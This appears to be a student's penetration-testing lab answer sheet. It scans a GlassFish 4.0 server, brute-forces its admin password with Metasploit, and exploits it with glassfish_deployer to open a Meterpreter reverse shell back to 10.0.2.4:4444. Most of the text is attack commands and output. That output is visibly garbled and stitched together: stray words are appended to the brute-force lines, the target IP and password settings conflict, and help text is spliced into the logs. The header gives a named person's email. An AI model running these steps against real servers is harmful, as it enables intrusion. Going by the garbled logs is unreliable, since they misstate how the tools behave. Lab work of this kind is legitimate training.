



Name : Ahmed Alzahrani | | Email : You-187@hotmail.com

Vulnerability Scanning 1 of 2

What was the service running on these ports?

```
$ nmap -p 4848 8080 8181 10.0.2.7 -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-31 18:45 EDT
Nmap scan report for 10.0.2.7
Host is up (0.00044s latency).

PORT      STATE SERVICE          VERSION
4848/tcp    open  ssl/appserv-https
|_ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US
| Not valid before: 2013-05-15T05:33:38
| Not valid after:  2023-05-13T05:33:38
|_ssl-date: 2021-10-31T22:45:53+00:00; 0s from scanner time.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (1 host up) scanned in 21.01 seconds
```

What was the version of that service?

Oracle **GlassFish** 4.0 (**Servlet** 3.1; **JSP** 2.3; **Java** 1.8)

What module did you use to brute force the password?

(format is like "exploit/windows/smb/ms17_010_永恒之蓝")

auxiliary/scanner/http/glassfish_login

```
msf6 > search glassfish
Matching Modules
=====
#  Name
- --
0 auxiliary/dos/http/hashcollision_dos
1 auxiliary/scanner/http/glassfish_login
2 auxiliary/scanner/http/glassfish_traversal
3 exploit/multi/browser/java_jre7_glassfish_averagerangestatisticimpl
4 exploit/multi/http/glassfish_deployer
5 exploit/multi/http/struts_code_exec_classloader

Disclosure Date Rank Check Description
-----|-----|-----|-----|
2011-12-28 normal No Hashtable Collisions
2015-08-08 normal No GlassFish Brute Force Utility
2012-10-16 excellent No Path Traversal in Oracle GlassFish Server Open Source Edition
2011-08-04 excellent No Java Applet AverageRangeStatisticImpl Remote Code Execution
2014-03-06 manual No Sun/Oracle GlassFish Server Authenticated Code Execution
Apache Struts ClassLoader Manipulation Remote Code Execution

Interact with a module by name or index. For example info 5, use 5 or use exploit/multi/http/struts_code_exec_classloader.
```

What was the password?

Admin : **sploit**

```
[+] 10.0.2.7:4848 - Failed: 'admin:roadkill'  
[-] 10.0.2.7:4848 - Failed: 'admin:quincy' versa  
[-] 10.0.2.7:4848 - Failed: 'admin:pedro' osiris  
[-] 10.0.2.7:4848 - Failed: 'admin:mayhem' r  
[-] 10.0.2.7:4848 - Failed: 'admin:lion' c_class  
[-] 10.0.2.7:4848 - Failed: 'admin:knopka'  
[-] 10.0.2.7:4848 - Failed: 'admin:kingfish'  
[-] 10.0.2.7:4848 - Failed: 'admin:jerkoff' jrex  
[-] 10.0.2.7:4848 - Failed: 'admin:hopper'  
[-] 10.0.2.7:4848 - Failed: 'admin:everest'  
[-] 10.0.2.7:4848 - Failed: 'admin:ddddddd' j>  
[+] 10.0.2.7:4848 - Success: 'admin:sploit'  
[*] Scanned 1 of 1 hosts (100% complete) >  
[*] Auxiliary module execution completed  
msf6 auxiliary(scanner/http/glassfish_login) >
```

What module did you use to exploit the machine?
(format is like "exploit/windows/smb/ms17_010_永恒之蓝")
exploit/multi/http/glassfish_deployer

What was the target you selected?

Port **4848** What was the payload you used?

search glass>>exploit/multi/http/glassfish_deployer>>set **password sploit**>> set payload java/meterpreter/reverse_tcp>>set rhost 172.20.10.4>> setssl true>>set target1>>run

```
msf6 auxiliary(scanner/http/glassfish_login) > exploit/multi/http/glassfish_deployer  
[-] Unknown command: exploit/multi/http/glassfish_deployer.  
This is a module we can load. Do you want to use exploit/multi/http/glassfish_deployer? [y/N]  
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp  
msf6 exploit(multi/http/glassfish_deployer) > set rhost 10.0.2.7  
rhost => 10.0.2.7  
msf6 exploit(multi/http/glassfish_deployer) > set password sploit  
password => sploit  
msf6 exploit(multi/http/glassfish_deployer) > set payload java/meterpreter/reverse_tcp  
payload => java/meterpreter/reverse_tcp  
msf6 exploit(multi/http/glassfish_deployer) > set ssl true  
[*] Changing the SSL option's value may require changing RPORT! tisticimpl 2015-08-08  
ssl => true  
msf6 exploit(multi/http/glassfish_deployer) > set target 1  
target => 1  
msf6 exploit(multi/http/glassfish_deployer) > run  
[*] Starting with a module by name or index. For example: msf6 exploit or msf6 exploit[1].  
[*] Started reverse TCP handler on 10.0.2.4:4444  
[*] Glassfish edition: GlassFish Server Open Source Edition 4.0  
[*] Trying to login as admin:sploit<login>> set rhost 10.0.2.7  
[*] Uploading payload ...
```

```

msf6 exploit(multi/http/glassfish_deployer) > options
Module options (exploit/multi/http/glassfish_deployer):
Name   Current Setting  Required  Description
APP_RPORT  8080          yes       The Application interface port
PASSWORD    exploit        yes       The password for the specified username
Proxies     no            no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     10.0.2.7        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<pat
RPORT      4848          yes       The target port (TCP)
SSL        true           no        Negotiate SSL for outgoing connections
TARGETURI  /             yes       The URI path of the GlassFish Server
USERNAME    admin          yes       The username to authenticate as
VHOST      no            no        HTTP server virtual host
Exploit target: module by name or index. For example, set target 0 or set target index[0]
Id  Name
--  --
[*] Set target to index[0] > set rhost 10.0.2.7

```

When your shell spawned, which user were you logged in as?

```

msf6 exploit(multi/http/glassfish_deployer) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Started auxiliary/scanner/http/glassfish_traversal
[*] Started auxiliary/scanner/http/glassfish_traversal
[*] Glassfish edition: GlassFish Server Open Source Edition 4.0
[*] Trying to login as admin:sploit
[*] Uploading payload...
[+] Successfully Uploaded
[*] Executing /5cd0pMIGJnEPYqN6VRq4jyLp4/VyNV0fP7trmWy4Wguf.jsp ...
[*] Sending stage (58125 bytes) to 10.0.2.7
[*] Meterpreter session 1 opened (10.0.2.4:4444 → 10.0.2.7:49275) at 2021-10-31 20:15:44 -0400
[*] Getting information to undeploy ...
[*] Undeploying 5cd0pMIGJnEPYqN6VRq4jyLp4 ...

```

```

meterpreter > getuid
Server username: LOCAL SERVICE or index. For example index[0]
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved
Report to : 48 .Windows لتنشيط الاعدادات إلى انتقل
C:\glassfish\glassfish4\glassfish\domains\domain1\config>

```